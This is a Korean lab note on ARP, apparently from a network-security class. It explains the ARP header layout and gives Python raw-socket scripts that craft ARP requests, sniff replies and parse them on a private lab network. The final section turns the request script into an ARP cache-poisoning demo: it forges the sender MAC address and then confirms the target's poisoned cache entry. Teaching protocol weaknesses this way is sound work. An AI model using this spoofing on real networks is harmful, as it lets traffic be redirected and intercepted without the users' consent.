ARP (Address Resolution Protocol) 프로그래밍

>>다른 호스트와 통신을 하려고 한다면 호스트의 물리 주소(물리계층 : layer 2) 를 알아야 한다

    그 맥주소로 이더넷 헤더를 완성 할 수 있다 

    물리 주소를 알아내기 위해 ARP 프로토콜을 사용 

▶ARP(Addess Resolution Protocol)

--> 아이피 주소로 물리 주소를 확인 할 수 있는 프로토콜 

 - 주소 변환 프로토콜
 - ip 주소를 물리적 네트워크(Mac Address 가 포함된 형태)로 변환하는데 사용되는 프로토콜

 - ethernet type 중에 하나 : 0x0806

! 데이터의 송 수신시 Mac 주소를 이용해 통신하는 네트워크계층에서 IP 주소로만 프레임을 전달하는 것은 불가능 

! 하드웨어의주소, MAC 주소를 알기위해 ARP 를 사용해 IP와 MAC 주소간의 동적매핑을 제공 

 - 실제 통신 시작 : IP주소(targetIP )에서 요청을 처리할 장비 결정 

  해당장비의 MAC Address 가 요청한 쪽으로 전송 

▶ ARP cache 

1)windwos
      - 주기적으로 네트워크상에 모든 호스트에 대한 맥 주소를 수집
         (ARP Cache Table)

>>명령어 

#arp -a 

 
2)linux

 -통신하기 전에 확인을 함
 -일정시간 동안 캐시 ( 주기적으로 사용하진 않는다 )

>>명령어

#arp  

1) 주소 요청 : ARP Request

2) 요청에 대한 응답: ARP Response

3) 헤더 구조

  [1] 하드웨어 타입(2byte) : ethernet(1번), token ring, .,..
  [2] 프로토콜 타입(2byte) : 이더넷 타입: ipv4,ipv6, ...
  [3] 하드 웨어 주소의 길이 (1byte) : 6byte
  [4] 프로토콜 주소의 길이(1byte) : version 4인 경우4바이트
  [5] opcode(2byte): ARP type

         (request(1)-->\x00\x01, response(2)-->\x00\x02)
  [6] sender mac address(6byte) :송신지 mac address
  [7] sender ip address(4byte) -> 프로토콜 주소의 길이가 4바이트이므로
  [8] target mac address(6byte) : 도착지 mac address 

                 >>알수 없음으로 0으로 초기화

                 >> 00:00:00:00:00:00 : 도착지의 호스트로부터 해당정보가 채워져 패킷이 돌아온다

                        --> 네트워크 주소를 알아냈으므로 통신 가능
  [9] target ip address(4byte)
 
▶ARP 패킷 분석

1. ARP Request 직접 작성
 - 상대방의 맥 주소를 확인
 - 이더넷헤더 + ARP 헤더 (전달하고 싶은 데이터 )
      -->스위치가 이더넷 헤더를 보고 목적지까지신호를 보내 준다
   ▷ ARP 응답(Response)

      --> 해당 패킷이 전달되어진 호스트에서 MacAddress 정보를 넘겨줌

2.  시나리오
 - target ip  : 192.168.219.180  

 - target mac 

-->Request를 이용해서 상대방의 맥어드레스를 받아옴

      >> 00:00:00:00:00:00 

         -->도착지의 호스트로부터 해당정보가 채워져 패킷이 돌아온다

        --> 네트워크 주소를 알아냈으므로 통신 가능

 - sender ip  : 192.168.219.106

 - sender mac : 00:0c:29:fb:2e:6f

>>>ARP 프로토콜 Class 정의 및 헤더 작성 <<<

[#vi arping.py]

     --> 수업이 끝나고 학생의 전화번호를 확인

(전화번호를 물어보려면 전화를 해야하는데 전화번호를 모르므로 전화번호를 물어볼수가 없다 )

# vi arping.py

from socket import *

import eth as _eth
import arp as _arp

sock=socket(AF_PACKET,SOCK_RAW)
sock.bind(('eth0',SOCK_RAW))

eth=_eth.Eth()
arp=_arp.Arp()

eth.set_dst('FF:FF:FF:FF:FF:FF') #맥 어드레스의 브로드 캐스트 주소이다 (물리적인 브로드캐스팅 구간)
eth.set_src('00:0c:29:fb:2e:6f')  # 보내는 ip의 맥 어드레스 
eth.set_type(0x0806)

arp.set_hard_type(0x0001)
arp.set_pro_type(0x0800)
arp.set_hard_len(6)
arp.set_pro_len(4)
arp.set_opcode(1)

arp.set_sender_mac('00:0c:29:fb:2e:6f') # 보내는 ip의 맥 어드레스 
arp.set_sender_ip('192.168.219.106') #보내는 ip
arp.set_target_mac('00:00:00:00:00:00') 
arp.set_target_ip('192.168.219.180') # 도착지의 맥어드레스 

sock.send(eth.get_header()+arp.get_header())

[#vi sniffer.py]

# vi sniffer.py

import socket
import struct
import time
import eth as eth_header
import ip  as ip_header
import udp as udp_header
import arp as arp_header

sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(('eth0', socket.SOCK_RAW))

while(True):
        (raw, info) = sock.recvfrom(65535)

        eth=eth_header.Eth(raw[:14])

        if eth.type=='0x0806' and (eth.src=='00:0c:29:fb:2e:6f'or eth.dst=='00:0c:29:fb:2e:6f'):

                arp=arp_header.Arp(raw[14:])
                print('src:{:s} -> dst:{:s}, type:{:s}'.format(eth.src,eth.dst,eth.type))
                print('opcode:{:s} . sender:{:s} -> target:{:s}'.format(arp.opcode,arp.sender_ip,arp.target_ip))

[#vi arp.py]

 --> set 생성 

import struct
import socket

class Arp:
 def __init__(self,data=None):
  if data!=None:
   
   (self.hard_type,)=struct.unpack('!H',data[:2])
   (self.pro_type,)=struct.unpack('!H',data[2:4])
   (self.hard_len,)=struct.unpack('!B',data[4:5])
   (self.pro_len,)=struct.unpack('!B',data[5:6])
   (self.opcode,)=struct.unpack('!H',data[6:8])
   self.opcode='0x{:04x}'.format(self.opcode)

   self.sender_mac=struct.unpack('!BBBBBB',data[8:14])
   self.sender_ip=struct.unpack('!BBBB',data[14:18])
   self.sender_ip='{:d}.{:d}.{:d}.{:d}'.format(*self.sender_ip)

   self.target_mac=struct.unpack('!BBBBBB',data[18:24])
   self.target_ip=struct.unpack('!BBBB',data[24:28])
   self.target_ip='{:d}.{:d}.{:d}.{:d}'.format(*self.target_ip)

  else:
   self.hard_type=b''
   self.pro_type=b''
   self.hard_len=b''
   self.pro_len=b''
   self.opcode=b''
   self.sender_mac=b''
   self.sender_ip=b''
   self.target_mac=b''
   self.target_ip=b''

 def get_header(self):
  return self.hard_type+self.pro_type+self.hard_len+self.pro_len+self.opcode+self.sender_mac+self.sender_ip+self.target_mac+self.target_ip

 def set_hard_type(self,hard_type):
  self.hard_type=struct.pack('!H',hard_type)

 def set_pro_type(self,pro_type):

  self.pro_type=struct.pack('!H',pro_type)

 def set_hard_len(self,hard_len):
  self.hard_len=struct.pack('!B',hard_len)

 def set_pro_len(self,pro_len):

  self.pro_len=struct.pack('!B',pro_len)

 def set_opcode(self,opcode):
  self.opcode=struct.pack('!H',opcode)

 def set_sender_mac(self,sender_mac):
  sender_mac=sender_mac.split(':')
  sender_mac=[int(x,16) for x in sender_mac]
  self.sender_mac=struct.pack('!BBBBBB',*sender_mac)

 def set_sender_ip(self,sender_ip):
  sender_ip=sender_ip.split('.')
  sender_ip=[int(x) for x in sender_ip]
  self.sender_ip=struct.pack('!BBBB',*sender_ip)

 def set_target_mac(self,target_mac):
  target_mac=target_mac.split(':')
  target_mac=[int(x,16) for x in target_mac]
  self.target_mac=struct.pack('!BBBBBB',*target_mac)

 def set_target_ip(self,target_ip):
  target_ip=target_ip.split('.')
  target_ip=[int(x) for x in target_ip]
  self.target_ip=struct.pack('!BBBB',*target_ip)

#python3 sniffer.py -->받고 보내는 것 확인 (192.168.219.180 에서 확인 > 도착지 )

#python3 arping.py --> 데이터 보내기 (192.168.219.106 에서 보내줌 > 출발지 )

(출발기 ==> 도착지)

#python3 sniffer.py 

src:00:0c:29:fb:2e:6f -> dst:ff:ff:ff:ff:ff:ff, type:0x0806
opcode:0x0001 , sender:192.168.219.106 -> target:192.168.219.180

     // request : 같은 네트워크상에 있는 192.168.219.180 에게 arp 패킷 전송

src:00:0c:29:52:30:da -> dst:00:0c:29:fb:2e:6f, type:0x0806
opcode:0x0002 , sender:192.168.219.180 -> target:192.168.219.106

// response : 192.168.219.106의 Mac Address 를 arp 패킷의 정보에 추가해 응답해줌 

▷캐시 테이블 확인

# arp ( 192.168.219.180 에서 arping 받은 주소 확인 )

  !ARP Cache Poisoning ( ARP 캐시 오염 )
   --> 요청에 대한 검증이 이루어지지 않는다 (문제가 발생)

#vi arping.py 
에서 이더넷해더중에 하나라도 맞지않으면 요청할 수 없음

  --> 진짜 106번한테 온건지 확인 할 수 있는 방법이 없음

#vi arping.py

from socket import *

import eth as _eth
import arp as _arp

sock=socket(AF_PACKET,SOCK_RAW)
sock.bind(('eth0',SOCK_RAW))

eth=_eth.Eth()
arp=_arp.Arp()

eth.set_dst('FF:FF:FF:FF:FF:FF')
eth.set_src('00:0c:29:fb:2e:6f')
eth.set_type(0x0806)

arp.set_hard_type(0x0001)
arp.set_pro_type(0x0800)
arp.set_hard_len(6)
arp.set_pro_len(4)
arp.set_opcode(1)

arp.set_sender_mac('aa:aa:aa:aa:aa:aa') #106번의 맥 어드레스가 아닌 다른 주소를 넣음 
arp.set_sender_ip('192.168.219.106')
arp.set_target_mac('00:00:00:00:00:00')
arp.set_target_ip('192.168.219.180')

        

▷ 캐시 테이블이 오염된 것을 확인 

# arp  

1>192.168.219.180 --> 192.168.219.106 일떄의  각각의 sniffer.py 상태

2> 192.168.219.106 -> 192.168.219.180 일때 sniffer.py의 상태